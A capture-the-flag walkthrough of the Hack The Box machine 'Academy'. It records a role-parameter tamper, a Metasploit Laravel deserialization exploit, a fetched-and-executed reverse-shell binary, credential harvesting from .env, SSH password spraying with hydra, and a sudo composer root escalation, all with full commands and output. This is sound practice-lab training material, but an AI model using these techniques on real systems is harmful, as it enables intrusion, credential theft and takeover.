--- search: exclude: true --- # Academy Writeup ![](img/52.png) ## Introduction : Academy is an easy Linux box released back in November 2020. ## **Part 1 : Initial Enumeration** As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Academy] → nmap -vvv -p- 10.10.10.215 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered Discovered open port 80/tcp on 10.10.10.215 Discovered open port 22/tcp on 10.10.10.215 Discovered open port 33060/tcp on 10.10.10.215 [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy] → nmap -sCV -p80,22,33060 10.10.10.215 Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-03 16:45 CEST Nmap scan report for 10.10.10.215 Host is up (0.035s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 c0:90:a3:d8:35:25:6f:fa:33:06:cf:80:13:a0:a5:53 (RSA) | 256 2a:d5:4b:d0:46:f0:ed:c9:3c:8d:f6:5d:ab:ae:77:96 (ECDSA) |_ 256 e1:64:14:c3:cc:51:b2:3b:a6:28:a7:b1:ae:5f:45:35 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Did not follow redirect to http://academy.htb/ 33060/tcp open mysqlx? | fingerprint-strings: | DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: | Invalid message" |_ HY000 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port33060-TCP:V=7.91%I=7%D=6/3%Time=60B8EB24%P=x86_64-pc-linux-gnu%r(NU SF:LL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\x SF:08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOpt SF:ions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b\ SF:x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVersi SF:onBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2B SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fIn SF:valid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")% SF:r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\ SF:x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCookie, SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x0 SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\ SF:x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9, SF:"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\x SF:1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY00 SF:0")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,9 SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x08 SF:\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x SF:05HY000")%r(LDAPBindReq,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SIPOptions, SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LANDesk-RC,9,"\x05\0\0\0\x0b\x08\x0 SF:5\x1a\0")%r(TerminalServer,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NCP,9,"\ SF:x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC,2B,"\x05\0\0\0\x0b\x08\x05\x1a SF:\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000" SF:)%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(WMSRequest,9,"\x05\0\0\ SF:0\x0b\x08\x05\x1a\0")%r(oracle-tns,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r( SF:ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x08 SF:\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x SF:05HY000")%r(giop,9,"\x05\0\0\0\x0b\x08\x05\x1a\0"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 25.37 seconds ## **Part 2 : Getting User Access** Our nmap scan picked up port 80 so let's investigate it: [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy] → curl 10.10.10.215 [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy] → curl 10.10.10.215 -v * Trying 10.10.10.215:80... * Connected to 10.10.10.215 (10.10.10.215) port 80 (#0) > GET / HTTP/1.1 > Host: 10.10.10.215 > User-Agent: curl/7.74.0 > Accept: */* > * Mark bundle as not supporting multiuse <****HTTP/1.1 302 Found <****Date: Thu, 03 Jun 2021 14:54:22 GMT <****Server: Apache/2.4.41 (Ubuntu) <****Location: http://academy.htb/ <****Content-Length: 0 <****Content-Type: text/html; charset=UTF-8 <***** Connection #0 to host 10.10.10.215 left intact As we try to get there we see that we are being redirected to the **academy.htb** domain name just like our nmap scan pointed out, so let's add it to our hosts file: [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy] → sudo -i [sudo] password for nothing: ┌──(root💀nowhere)-[~] └─# echo '10.10.10.215 academy.htb' >> /etc/hosts ┌──(root💀nowhere)-[~] └─# exit [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy] → ping academy.htb PING academy.htb (10.10.10.215) 56(84) bytes of data. 64 bytes from academy.htb (10.10.10.215): icmp_seq=1 ttl=63 time=34.5 ms 64 bytes from academy.htb (10.10.10.215): icmp_seq=2 ttl=63 time=40.5 ms 64 bytes from academy.htb (10.10.10.215): icmp_seq=3 ttl=63 time=38.1 ms Now let's check out the website: ![](prg/52_001.png) ![](prg/52_002.png) ![](prg/52_003.png) ![](prg/52_004.png) Now here we see that we are on a php website, and we could create and login into a test account. Once logged in, the webpage doesn't have anything to exploit, so let's search for other directories with gobuster: [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy] → gobuster dir -u http://academy.htb/ -t 50 -w /usr/share/seclists/Discovery/Web-Content/common.txt =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://academy.htb/ [+] Method: GET [+] Threads: 50 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2021/06/03 16:55:19 Starting gobuster in directory enumeration mode =============================================================== /.htpasswd (Status: 403) [Size: 276] /admin.php (Status: 200) [Size: 2633] /images (Status: 301) [Size: 311] [--> http://academy.htb/images/] /index.php (Status: 200) [Size: 2117] /.hta (Status: 403) [Size: 276] /.htaccess (Status: 403) [Size: 276] /server-status (Status: 403) [Size: 276] =============================================================== 2021/06/03 16:55:29 Finished =============================================================== ` ![](prg/52_005.png) Now when we go to the admin.php page that our gobuster scan picked up, we see that we need to login to access it, the trick here was to inspect the **register.php** POST request when we were registering an account, and we can do so using burpsuite: ![](prg/52_006.png) We get the following request: POST /register.php HTTP/1.1 Host: academy.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 44 Origin: http://academy.htb Connection: close Referer: http://academy.htb/register.php Cookie: PHPSESSID=mvopk0hecu88dl9kugslv1ihdp Upgrade-Insecure-Requests: 1 uid=test&password;=test&confirm;=test**&roleid; =0** Something we didn't know earlier was the **roleid** post parameter set to 0, so we simply change it to **1** and then forward the intercepted request, and then we login to the **admin.php** page: ![](prg/52_007.png) And upon logging in, we get redirected to **admin-page.php** and we get the following: ![](prg/52_008.png) Here we're getting hinted towards a subdomain **dev-staging-01.academy.htb** , so let's add it to our hosts file: [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy] → sudo -i [sudo] password for nothing: ┌──(root💀nowhere)-[~] └─# echo '10.10.10.215 dev-staging-01.academy.htb' >> /etc/hosts ┌──(root💀nowhere)-[~] └─# exit [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy] → ping dev-staging-01.academy.htb PING dev-staging-01.academy.htb (10.10.10.215) 56(84) bytes of data. 64 bytes from academy.htb (10.10.10.215): icmp_seq=1 ttl=63 time=36.5 ms 64 bytes from academy.htb (10.10.10.215): icmp_seq=2 ttl=63 time=39.9 ms 64 bytes from academy.htb (10.10.10.215): icmp_seq=3 ttl=63 time=37.9 ms Now when we go there we get the following: ![](prg/52_009.png) Now if you read carefully, you see that this is a php laravel framework instance: ![](prg/52_010.png) So let's look for exploits to user on that service: [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy] → searchsploit laravel -------------------------------------------------------- --------------------------------- Exploit Title | Path -------------------------------------------------------- --------------------------------- Laravel - 'Hash::make()' Password Truncation Security | multiple/remote/39318.txt Laravel 8.4.2 debug mode - Remote code execution | php/webapps/49424.py Laravel Administrator 4 - Unrestricted File Upload (Aut | php/webapps/49112.py Laravel Log Viewer <****0.13.0 - Local File Download | php/webapps/44343.py Laravel Nova 3.7.0 - 'range' DoS | php/webapps/49198.txt**PHP Laravel Framework 5.5.40 / 5.6.x <__5.6.30 - token U | linux/remote/47129.rb** UniSharp Laravel File Manager 2.0.0 - Arbitrary File Re | php/webapps/48166.txt UniSharp Laravel File Manager 2.0.0-alpha7 - Arbitrary | php/webapps/46389.py -------------------------------------------------------- --------------------------------- Shellcodes: No Results we're going to use the ruby exploit that's for metasploit: [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy] → msfconsole _---------. .' ####### ;." .---,. ;@ @@`; .---,.. ." @@@@@'.,'@@ @@@@@',.'@@@@ ". '-.@@@@@@@@@@@@@ @@@@@@@@@@@@@ @; `.@@@@@@@@@@@@ @@@@@@@@@@@@@@ .' "--'.@@@ -.@ @ ,'- .'--" ".@' ; @ @ `. ;' |@@@@ @@@ @ . ' @@@ @@ @@ , `.@@@@ @@ . ',@@ @ ; _____________ ( 3 C ) /|___ / Metasploit! \ ;@'. __*__,." \|--- \_____________/ '(.,..../ =[ metasploit v6.0.46-dev ] + -- --=[ 2135 exploits - 1139 auxiliary - 365 post ] + -- --=[ 592 payloads - 45 encoders - 10 nops ] + -- --=[ 8 evasion ] Metasploit tip: To save all commands executed since start up to a file, use the makerc command msf6 > search laravel Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/unix/http/laravel_token_unserialize_exec 2018-08-07 excellent Yes PHP Laravel Framework token Unserialize Remote Command Execution Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/http/laravel_token_unserialize_exec msf6 > use 0 [*] Using configured payload cmd/unix/reverse_perl msf6 exploit(unix/http/laravel_token_unserialize_exec) > show options Module options (exploit/unix/http/laravel_token_unserialize_exec): Name Current Setting Required Description ---- --------------- -------- ----------- APP_KEY no The base64 encoded APP_KEY string from the .env file Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<****path>' RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes Path to target webapp VHOST no HTTP server virtual host Payload options (cmd/unix/reverse_perl): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic So first let's get the APP key, which we should get from the .env file, but we don't have access to the server yet, so we just grab it from the debug page: ![](prg/52_011.png) Then we fill the rest of the options we need: msf6 exploit(unix/http/laravel_token_unserialize_exec) > set APP_KEY dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= APP_KEY => dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= msf6 exploit(unix/http/laravel_token_unserialize_exec) > set RPORT 80 RPORT => 80 msf6 exploit(unix/http/laravel_token_unserialize_exec) > set RHOSTS 10.10.10.215 RHOSTS => 10.10.10.215 msf6 exploit(unix/http/laravel_token_unserialize_exec) > set VHOST dev-staging-01.academy.htb VHOST => dev-staging-01.academy.htb msf6 exploit(unix/http/laravel_token_unserialize_exec) > set LHOST tun0 LHOST => 10.10.14.13 msf6 exploit(unix/http/laravel_token_unserialize_exec) > exploit And when we launch the exploit: [*] Started reverse TCP handler on 10.10.14.13:4444 [*] Command shell session 1 opened (10.10.14.13:4444 -> 10.10.10.215:46024) at 2021-06-04 08:52:16 +0200 [*] Command shell session 2 opened (10.10.14.13:4444 -> 10.10.10.215:46026) at 2021-06-04 08:52:16 +0200 [*] Command shell session 3 opened (10.10.14.13:4444 -> 10.10.10.215:46028) at 2021-06-04 08:52:16 +0200 [*] Command shell session 4 opened (10.10.14.13:4444 -> 10.10.10.215:46030) at 2021-06-04 08:52:17 +0200 id uid=33(www-data) gid=33(www-data) groups=33(www-data) We get remote code execution as www-data! cat /etc/passwd | grep bash root:x:0:0:root:/root:/bin/bash egre55:x:1000:1000:egre55:/home/egre55:/bin/bash ls -lash /home total 32K 4.0K drwxr-xr-x 8 root root 4.0K Aug 10 2020 . 4.0K drwxr-xr-x 20 root root 4.0K Feb 10 13:12 .. 4.0K drwxr-xr-x 2 21y4d 21y4d 4.0K Aug 10 2020 21y4d 4.0K drwxr-xr-x 2 ch4p ch4p 4.0K Aug 10 2020 ch4p 4.0K drwxr-xr-x 4 cry0l1t3 cry0l1t3 4.0K Aug 12 2020 cry0l1t3 4.0K drwxr-xr-x 3 egre55 egre55 4.0K Aug 10 2020 egre55 4.0K drwxr-xr-x 2 g0blin g0blin 4.0K Aug 10 2020 g0blin 4.0K drwxr-xr-x 5 mrb3n mrb3n 4.0K Aug 12 2020 mrb3n Now here we get alot of different users on this box. However for now let's just get a proper reverse shell: which python python3 curl wget nc /usr/bin/python3 /usr/bin/curl /usr/bin/wget /usr/bin/nc Let's upload xc via wget, and then execute it to get a reverse shell: [term1] [ 10.10.14.13/23 ] [ /dev/pts/90 ] [~/HTB/Academy] → cp /home/nothing/HTB/Servmon/xc/xc . [ 10.10.14.13/23 ] [ /dev/pts/90 ] [~/HTB/Academy] → python3 -m http.server 9090 [term2] wget http://10.10.14.13:9090/xc -O /tmp/xc ls -lash /tmp/xc 0 -rw-r--r-- 1 www-data www-data 0 Jun 4 07:23 /tmp/xc chmod +x /tmp/xc /tmp/xc 10.10.14.13 9002 [term3] [ 10.10.14.13/23 ] [ /dev/pts/90 ] [~/HTB/Academy] → ./xc -l -p 9002 __ _____ \ \/ / __| > <****(__ /_/\_\___| by @xct_de build: QUnVVFdLYEkibcKx 2021/06/04 09:17:49 Listening on :9002 2021/06/04 09:17:49 Waiting for connections... 2021/06/04 09:17:59 Connection from 10.10.10.215:59984 2021/06/04 09:17:59 Stream established [*] Auto-Plugins: [xc: /var/www/html/htb-academy-dev-01/public]: !shell bash: cannot set terminal process group (1039): Inappropriate ioctl for device bash: no job control in this shell www-data@academy:/var/www/html/htb-academy-dev-01/public$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) Now let's upgrade it to a fully interactive shell: www-data@academy:/var/www/html/htb-academy-dev-01/public$ python3 -c 'import pty; pty.spawn("/bin/bash")' www-data@academy:/var/www/html/htb-academy-dev-01/public$ ^Z [1] + 3847836 suspended ./xc -l -p 9002 [ 10.10.14.13/23 ] [ /dev/pts/90 ] [~/HTB/Academy] → stty raw -echo ; fg [1] + 3847836 continued ./xc -l -p 9002 $ export TERM=screen-256color $ export SHELL=bash $stty rows 40 columns 125 www-data@academy:/var/www/html/htb-academy-dev-01/public$ reset Now that we have our fully interactive reverse TTY shell, let's enumerate the box further: www-data@academy:/var/www/html/htb-academy-dev-01/public$ cd .. www-data@academy:/var/www/html/htb-academy-dev-01$ cd .. www-data@academy:/var/www/html$ ls academy htb-academy-dev-01 index.php www-data@academy:/var/www/html$ cd academy www-data@academy:/var/www/html/academy$ ls app bootstrap composer.lock database phpunit.xml readme.md routes storage vendor artisan composer.json config package.json public resources server.php tests webpack.mix.js www-data@academy:/var/www/html/academy$ ls -a . .env.example app composer.json database public routes tests .. .gitattributes artisan composer.lock package.json readme.md server.php vendor .env .gitignore bootstrap config phpunit.xml resources storage webpack.mix.js www-data@academy:/var/www/html/academy$ cat .env APP_NAME=Laravel APP_ENV=local APP_KEY=base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= APP_DEBUG=false APP_URL=http://localhost LOG_CHANNEL=stack DB_CONNECTION=mysql DB_HOST=127.0.0.1 DB_PORT=3306 DB_DATABASE=academy DB_USERNAME=dev DB_PASSWORD=mySup3rP4s5w0rd!! BROADCAST_DRIVER=log CACHE_DRIVER=file SESSION_DRIVER=file SESSION_LIFETIME=120 QUEUE_DRIVER=sync REDIS_HOST=127.0.0.1 REDIS_PASSWORD=null REDIS_PORT=6379 MAIL_DRIVER=smtp MAIL_HOST=smtp.mailtrap.io MAIL_PORT=2525 MAIL_USERNAME=null MAIL_PASSWORD=null MAIL_ENCRYPTION=null PUSHER_APP_ID= PUSHER_APP_KEY= PUSHER_APP_SECRET= PUSHER_APP_CLUSTER=mt1 MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}" MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}" Going back up the filetree we get a password for an user: www-data@academy:/var/www/html/academy$ ls -lash .env 4.0K -rw-r--r-- 1 www-data www-data 706 Aug 13 2020 .env Although obviously this isn't www-data's password, this is probably one of the other users' passwords so let's try each one using hydra : [term1] www-data@academy:/var/www/html/academy$ ls -lash .env 4.0K -rw-r--r-- 1 www-data www-data 706 Aug 13 2020 .env www-data@academy:/var/www/html/academy$ ls -lash /home total 32K 4.0K drwxr-xr-x 8 root root 4.0K Aug 10 2020 . 4.0K drwxr-xr-x 20 root root 4.0K Feb 10 13:12 .. 4.0K drwxr-xr-x 2 21y4d 21y4d 4.0K Aug 10 2020 21y4d 4.0K drwxr-xr-x 2 ch4p ch4p 4.0K Aug 10 2020 ch4p 4.0K drwxr-xr-x 4 cry0l1t3 cry0l1t3 4.0K Aug 12 2020 cry0l1t3 4.0K drwxr-xr-x 3 egre55 egre55 4.0K Aug 10 2020 egre55 4.0K drwxr-xr-x 2 g0blin g0blin 4.0K Aug 10 2020 g0blin 4.0K drwxr-xr-x 5 mrb3n mrb3n 4.0K Aug 12 2020 mrb3n [term2] [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy] → cat users.txt 21y4d ch4p cry0l1t3 egre55 g0blin mrb3n [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy] → cat password.txt mySup3rP4s5w0rd!! [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy] → hydra -L users.txt -P password.txt ssh://10.10.10.215 Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-06-04 09:30:00 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 6 tasks per 1 server, overall 6 tasks, 6 login tries (l:6/p:1), ~1 try per task [DATA] attacking ssh://10.10.10.215:22/ [22][ssh] host: 10.10.10.215 login: cry0l1t3 password: mySup3rP4s5w0rd!! 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-06-04 09:30:04 And we found that it was the cry0l1t3 user's password! So let's login via SSH as this user: [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy] → ssh cry0l1t3@10.10.10.215 The authenticity of host '10.10.10.215 (10.10.10.215)' can't be established. ECDSA key fingerprint is SHA256:4v7BvR4VfuEwrmXljKvXmF+JjLCgP/46G78oNEHzt2c. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.215' (ECDSA) to the list of known hosts. cry0l1t3@10.10.10.215's password: Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-52-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Fri 04 Jun 2021 07:38:32 AM UTC System load: 0.0 Usage of /: 38.3% of 13.72GB Memory usage: 17% Swap usage: 0% Processes: 229 Users logged in: 0 IPv4 address for ens160: 10.10.10.215 IPv6 address for ens160: dead:beef::250:56ff:feb9:3bbc 89 updates can be installed immediately. 42 of these updates are security updates. To see these additional updates run: apt list --upgradable The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Wed Aug 12 21:58:45 2020 from 10.10.14.2 $ id uid=1002(cry0l1t3) gid=1002(cry0l1t3) groups=1002(cry0l1t3),4(adm) $ ls user.txt $ cat user.txt faXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX And that's it! We managed to get the user flag. ## **Part 3 : Getting Root Access** Now in order to privesc to the root user, let's run linpeas.sh on the box to see what are the possible privilege escalation paths: [term1] [ 10.10.14.13/23 ] [ /dev/pts/89 ] [~/HTB/Academy] → cp /home/nothing/Tools/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh . [ 10.10.14.13/23 ] [ /dev/pts/89 ] [~/HTB/Academy] → python3 -m http.server 9090 Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... [term2] $ bash cry0l1t3@academy:~$ wget http://10.10.14.13:9090/linpeas.sh -O /tmp/peas.sh --2021-06-04 07:40:46-- http://10.10.14.13:9090/linpeas.sh Connecting to 10.10.14.13:9090... connected. HTTP request sent, awaiting response... 200 OK Length: 341863 (334K) [text/x-sh] Saving to: ‘/tmp/peas.sh’ /tmp/peas.sh 100%[====================================================>] 333.85K 689KB/s in 0.5s 2021-06-04 07:40:47 (689 KB/s) - ‘/tmp/peas.sh’ saved [341863/341863] cry0l1t3@academy:~$ chmod +x /tmp/peas.sh cry0l1t3@academy:~$ /tmp/peas.sh ` ![](prg/52_012.png) let linpeas.sh run and then as you scroll through the output you will stumble upon the **mrb3n** user's password from the TTY audit logs: ![](prg/52_013.png) This is possible because we our user is in the adm group: cry0l1t3@academy:~$ id uid=1002(cry0l1t3) gid=1002(cry0l1t3) groups=1002(cry0l1t3),**4(adm)** So let's privesc to the **mrb3n** user using his password **mrb3n_Ac@d3my!** cry0l1t3@academy:~$ su mrb3n Password: $ bash mrb3n@academy:/home/cry0l1t3$ id uid=1001(mrb3n) gid=1001(mrb3n) groups=1001(mrb3n) mrb3n@academy:/home/cry0l1t3$ /tmp/peas.sh We run linpeas once again as the mrb3n user, and we don't see much, but when we do **sudo -l** we are hinted towards using composer: mrb3n@academy:/home/cry0l1t3$ sudo -l [sudo] password for mrb3n: Matching Defaults entries for mrb3n on academy: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User mrb3n may run the following commands on academy: (ALL) /usr/bin/composer Taking a look at [gtfobins](https://gtfobins.github.io/gtfobins/composer/) we get a privilege escalation path to the root user: mrb3n@academy:/home/cry0l1t3$ cd .. mrb3n@academy:/home$ TF=$(mktemp -d) mrb3n@academy:/home$ echo '{"scripts":{"x":"/bin/sh -i 0<****& 3 1>&3 2>&3"}}' >$TF/composer.json mrb3n@academy:/home$ sudo composer --working-dir=$TF run-script x PHP Warning: PHP Startup: Unable to load dynamic library 'mysqli.so' (tried: /usr/lib/php/20190902/mysqli.so (/usr/lib/php/20190902/mysqli.so: undefined symbol: mysqlnd_global_stats), /usr/lib/php/20190902/mysqli.so.so (/usr/lib/php/20190902/mysqli.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 PHP Warning: PHP Startup: Unable to load dynamic library 'pdo_mysql.so' (tried: /usr/lib/php/20190902/pdo_mysql.so (/usr/lib/php/20190902/pdo_mysql.so: undefined symbol: mysqlnd_allocator), /usr/lib/php/20190902/pdo_mysql.so.so (/usr/lib/php/20190902/pdo_mysql.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Do not run Composer as root/super user! See https://getcomposer.org/root for details > /bin/sh -i 0<****& 3 1>&3 2>&3 # id uid=0(root) gid=0(root) groups=0(root) # cat /root/root.txt ffXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX And that's it! We managed to get to the root user and print the root flag. ## **Conclusion** Here we can see the progress graph : ![](img/52_graph.png)